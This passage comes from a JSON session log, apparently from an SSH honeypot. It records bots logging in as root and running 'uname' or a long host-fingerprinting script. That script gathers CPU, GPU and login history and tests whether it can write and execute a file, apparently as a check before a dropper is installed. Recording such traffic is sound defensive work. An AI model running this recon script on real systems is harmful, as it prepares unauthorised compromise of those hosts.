\"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:13:06.092963+00:00",
  "ended_at": "2026-08-25T02:13:06.454920+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "772e7b0b-104d-447d-92b9-75c6def13e56",
  "name": "brave-balmy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:12:56.145549+00:00",
  "ended_at": "2026-08-25T02:13:01.233906+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "45f0ab79-79f6-4c92-b379-71e9956a3335",
  "name": "coral-dutiful-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 60772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:12:38.010553+00:00",
  "ended_at": "2026-08-25T02:12:42.002570+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "66c3b1bf-f440-49a9-b25e-8ce08a89c953",
  "name": "barren-subtle-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:12:25.492086+00:00",
  "ended_at": "2026-08-25T02:12:30.186751+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "853145ec-34e6-4f72-80e9-c19b2c3879e1",
  "name": "western-mellow-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 48252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:12:19.210945+00:00",
  "ended_at": "2026-08-25T02:12:20.132831+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "25dd6793-d010-4934-a192-cdc21cfe515d",
  "name": "ruddy-daring-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:12:01.002738+00:00",
  "ended_at": "2026-08-25T02:12:04.206972+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad09fc76-fd32-4430-9e9c-e88c57482f34",
  "name": "balmy-tidal-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 46636,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:11:31.501920+00:00",
  "ended_at": "2026-08-25T02:11:32.451121+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ac67ec99-0580-4f0a-99df-f611bd1fc6a8",
  "name": "courtly-jaunty-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:11:29.209054+00:00",
  "ended_at": "2026-08-25T02:11:34.811252+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "face58b0-2c9f-4285-8547-de9c21ca74a0",
  "name": "sturdy-pristine-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.153.34.165",
  "src_port": 46698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T02:10:57.798265+00:00",
  "ended_at": "2026-08-25T02:10:59.725254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cd1939b-78b7-4727-a54b-08f50cb5822d",
  "name": "lawful-grassy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 44998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:10:44.521350+00:00",
  "ended_at": "2026-08-25T02:10:45.461295+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fb7d4e60-209b-463f-af03-6d51a752d34e",
  "name": "quaint-hushed-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 43356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:09:56.657118+00:00",
  "ended_at": "2026-08-25T02:09:57.174631+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "88adf3c2-75f3-41aa-b8d9-123ec2c760ff",
  "name": "dusty-fringed-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 181,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:09:44.805445+00:00",
  "ended_at": "2026-08-25T02:09:47.617418+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e7ec9218-0be4-426d-9298-1998ed361ca5",
  "name": "plucky-peaty-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51794,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:09:30.309119+00:00",
  "ended_at": "2026-08-25T02:09:33.320041+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d32f8ca-964b-466c-b5c2-4c70860e76d2",
  "name": "gnarled-nimble-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 41736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 